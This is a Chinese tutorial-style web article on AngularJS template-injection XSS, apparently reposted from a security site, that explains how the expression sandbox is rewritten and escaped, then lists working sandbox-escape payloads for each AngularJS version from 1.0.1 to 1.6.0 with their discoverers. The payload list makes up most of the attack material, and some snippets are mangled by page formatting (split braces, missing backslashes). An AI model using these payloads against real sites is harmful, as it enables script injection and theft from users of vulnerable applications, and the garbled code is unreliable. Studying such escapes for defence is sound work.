虚位以待(AD)
虚位以待(AD)
首页 > 网页特效 > JavaScript > AngularJs用户输入动态模板XSS攻击示例详解

AngularJs用户输入动态模板XSS攻击示例详解
类别:JavaScript   作者:码皇   来源:互联网   点击:

这篇文章主要给大家介绍了关于AngularJs用户输入动态模板XSS攻击的相关资料,文中通过示例代码介绍的非常详细,对大家学习或者使用angularjs具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧。

概述

XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨大的,是web安全的头号大敌。

前情提要

angularJs通过“{{}}”来作为输出的标志,而对于双括号里面的内容angularJs会计计算并输出结果,我们可以在里面输入JS代码,并且一些语句还能得到执行,这使得我们的XSS有了可能,虽然不能直接写函数表达式,但这并难不住我们的白帽。

沙箱检验

angularJs会对表达式进行重写,并过滤计算输出,比如我们输入

    {
    {
    1 + 1}
    }

在JS中会被转换成

    "use strict";
    var fn = function(s, l, a, i) {
    return plus(1, 1);
    }
    ;
    return fn;

return fn;这里的返回会被angualrJs执行,angularJs改写这个方法后转换是这样的

    "use strict";
    var fn = function(s, l, a, i) {
    var v0, v1, v2, v3, v4 = l && ('constructor' in l), v5;
    if (!(v4)) {
    if (s) {
    v3 = s.constructor;
    }
    }
    else {
    v3 = l.constructor;
    }
    ensureSafeObject(v3, text);
    if (v3 != null) {
    v2 = ensureSafeObject(v3.constructor, text);
    }
    else {
    v2 = undefined;
    }
    if (v2 != null) {
    ensureSafeFunction(v2, text);
    v5 = 'alertu00281u0029';
    ensureSafeObject(v3, text);
    v1 = ensureSafeObject(v3.constructor(ensureSafeObject('alertu00281u0029', text)), text);
    }
    else {
    v1 = undefined;
    }
    if (v1 != null) {
    ensureSafeFunction(v1, text);
    v0 = ensureSafeObject(v1(), text);
    }
    else {
    v0 = undefined;
    }
    return v0;
    }
    ;
    return fn;

angularJs会检查每一个输入的参数,ensureSafeObject方法会检验出函数的构造方法,窗口对象,对象,或者对象的构造方法,任意的其中一项被检查出来,表达式都不会执行.angularJs还有ensureSafeMemeberName和ensureSafeFunction来过滤掉方法原型链方法和检查这个指向。

如何逃逸

怎么样能逃过模板的过滤呢,可以让我们输入的模板被角执行,因为angularJs不支持函数输入,我们不可以直接覆盖本地的JS函数。但在字符串对象中找到了漏洞,fromCharCode,则charCode, charAt,由于没有重写这些方法,通过改变本地的js函数,我可以在angularJs调用这些方法的时候为自己开一个后门,将我改写的来覆盖原来的函数。

    'a'.constructor.fromCharCode=[].join;
    'a'.constructor[0]='u003ciframe onload=alert(/Backdoored/)u003e';

formCharCode方法执行的时候内部的this指向的是String对象,通过上面的可指执行语句,我们可以对fromCharCode 函数进行覆盖,当在本页面内执行时,比如:

    onload=function(){
    document.write(String.fromCharCode(97));
    //会弹出 /Backdoored/ }

还可以这样

    'a'.constructor.prototype.charCodeAt=[].concat

当angularJs调用charCodeAt函数时,我的代码就被执行到angular源码去了,比如说在这段里面有encodeEntities 方法用来对属性和名称做一个过滤然后输出,

    if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) {
    out(' ');
    out(key);
    out('="');
    out(encodeEntities(value));
    //找的就是encodeEntities out('"');
    }

具体的encodeEntities代码如下:

    function encodeEntities(value) {
    return value. replace(/&/g, '&'). replace(SURROGATE_PAIR_REGEXP, function(value) {
    var hi = value.charCodeAt(0);
    var low = value.charCodeAt(1);
    return '&#' + (((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000) + ';
    ';
    }
    ). replace(NON_ALPHANUMERIC_REGEXP, function(value) {
    return '&#' + value.charCodeAt(0) + ';
    ';
    //这里发生了不好事情,我改写了这个方法,可以植入一些恶意代码,并且得到返回输出 }
    ).replace(/</g, '<').replace(/>/g, '>');
    }

具体执行

    //这是输入代码 {
    {
    'a'.constructor.prototype.charAt=[].join;
    $eval('x=""')+''}
    }
    //这是被覆盖影响的代码 "use strict";
    var fn = function(s, l, a, i) {
    var v5, v6 = l && ('xu003du0022u0022' in l);
    //被影响的 if (!(v6)) {
    if (s) {
    v5 = s.x = "";
    //被影响的 }
    }
    else {
    v5 = l.x = "";
    //被影响的 }
    return v5;
    }
    ;
    fn.assign = function(s, v, l) {
    var v0, v1, v2, v3, v4 = l && ('xu003du0022u0022' in l);
    //被影响的 v3 = v4 ? l : s;
    if (!(v4)) {
    if (s) {
    v2 = s.x = "";
    //被影响的 }
    }
    else {
    v2 = l.x = "";
    //被影响的 }
    if (v3 != null) {
    v1 = v;
    ensureSafeObject(v3.x = "", text);
    //被影响的 v0 = v3.x = "" = v1;
    //被影响的 }
    return v0;
    }
    ;
    return fn;
    {
    {
    'a'.constructor.prototype.charAt=[].join;
    $eval('x=alert(1)')+'' //注入了alert(1) }
    }
    "use strict";
    var fn = function(s, l, a, i) {
    var v5, v6 = l && ('xu003dalertu00281u0029' in l);
    if (!(v6)) {
    if (s) {
    v5 = s.x = alert(1);
    }
    }
    else {
    v5 = l.x = alert(1);
    }
    return v5;
    }
    ;
    fn.assign = function(s, v, l) {
    var v0, v1, v2, v3, v4 = l && ('xu003dalertu00281u0029' in l);
    v3 = v4 ? l : s;
    if (!(v4)) {
    if (s) {
    v2 = s.x = alert(1);
    }
    }
    else {
    v2 = l.x = alert(1);
    }
    if (v3 != null) {
    v1 = v;
    ensureSafeObject(v3.x = alert(1), text);
    v0 = v3.x = alert(1) = v1;
    }
    return v0;
    }
    ;
    return fn;

下面附上一些代码,可以直接结合angularJs验证

不同版本的实现代码以及发现者:

1.0.1 - 1.1.5    Mario Heiderich (Cure53)

    {
    {
    constructor.constructor('alert(1)')()}
    }

1.2.0 - 1.2.1     Jan Horn (Google)

    {
    {
    a='constructor';
    b={
    }
    ;
    a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}
    }

1.2.2 - 1.2.5    Gareth Heyes (PortSwigger)

    {
    {
    'a'[{
    toString:[].join,length:1,0:'__proto__'}
    ].charAt=''.valueOf;
    $eval("x='"+(y='if(!window\u002ex)alert(window\u002ex=1)')+eval(y)+"'");
    }
    }

1.2.6 - 1.2.18    Jan Horn (Google)

    {
    {
    (_=''.sub).call.call({
    }
    [$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}
    }

1.2.19 - 1.2.23    Mathias Karlsson

    {
    {
    toString.constructor.prototype.toString=toString.constructor.prototype.call;
    ["a","alert(1)"].sort(toString.constructor);
    }
    }

1.2.24 - 1.2.29 Gareth Heyes (PortSwigger)

    {
    {
    'a'.constructor.prototype.charAt=''.valueOf;
    $eval("x='"+(y='if(!window\u002ex)alert(window\u002ex=1)')+eval(y)+"'");
    }
    }

1.3.0    Gábor Molnár (Google)

    {
    {
    !ready && (ready = true) && (!call? $$watchers[0].get(toString.constructor.prototype): (a = apply) &&(apply = constructor) &&(valueOf = call) &&(''+''.toString('F = Function.prototype;
    ' +'F.apply = F.a;
    ' +'delete F.a;
    ' +'delete F.valueOf;
    ' +'alert(1);
    ')));
    }
    }

1.3.1 - 1.3.2    Gareth Heyes (PortSwigger)

    {
    {
    {
    }
    [{
    toString:[].join,length:1,0:'__proto__'}
    ].assign=[].join;
    'a'.constructor.prototype.charAt=''.valueOf;
    $eval('x=alert(1)//');
    }
    }

1.3.3 - 1.3.18    Gareth Heyes (PortSwigger)

    {
    {
    {
    }
    [{
    toString:[].join,length:1,0:'__proto__'}
    ].assign=[].join;
    'a'.constructor.prototype.charAt=[].join;
    $eval('x=alert(1)//');
    }
    }

1.3.19   Gareth Heyes (PortSwigger)

    {
    {
    'a'[{
    toString:false,valueOf:[].join,length:1,0:'__proto__'}
    ].charAt=[].join;
    $eval('x=alert(1)//');
    }
    }

1.3.20    Gareth Heyes (PortSwigger)

    {
    {
    'a'.constructor.prototype.charAt=[].join;
    $eval('x=alert(1)');
    }
    }

1.4.0 - 1.4.9    Gareth Heyes (PortSwigger)

    {
    {
    'a'.constructor.prototype.charAt=[].join;
    $eval('x=1}
    }
    }
    ;
    alert(1)//');
    }
    }

1.5.0 - 1.5.8  Ian Hickey

    {
    {
    x = {
    'y':''.constructor.prototype}
    ;
    x['y'].charAt=[].join;
    $eval('x=alert(1)');
    }
    }

1.5.9 - 1.5.11   Jan Horn (Google)

    {
    {
    c=''.sub.call;
    b=''.sub.bind;
    a=''.sub.apply;
    c.$apply=$apply;
    c.$eval=b;
    op=$root.$$phase;
    $root.$$phase=null;
    od=$root.$digest;
    $root.$digest=({
    }
    ).toString;
    C=c.$apply(c);
    $root.$$phase=op;
    $root.$digest=od;
    B=C(b,c,b);
    $evalAsync(" astNode=pop();
    astNode.type='UnaryExpression';
    astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
    astNode.argument={
    type:'Identifier',name:'foo'}
    ;
    ");
    m1=B($$asyncQueue.pop().expression,null,$root);
    m2=B(C,null,m1);
    [].push.apply=m2;
    a=''.sub;
    $eval('a(b.c)');
    [].push.apply=a;
    }
    }

= 1.6.0 Mario Heiderich(Cure53)

    {
    {
    constructor.constructor('alert(1)')()}
    }

转自:https://pockr.org/activity/detail?activity_no=act_017d460d4e5988dad2

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,如果有疑问大家可以留言交流,谢谢大家对脚本之家的支持。

您可能感兴趣的文章:

  • AngularJS实现根据变量改变动态加载模板的方法
  • 使用AngularJS中的SCE来防止XSS攻击的方法
相关热词搜索: angularjs xss angularjs 模板 angularjs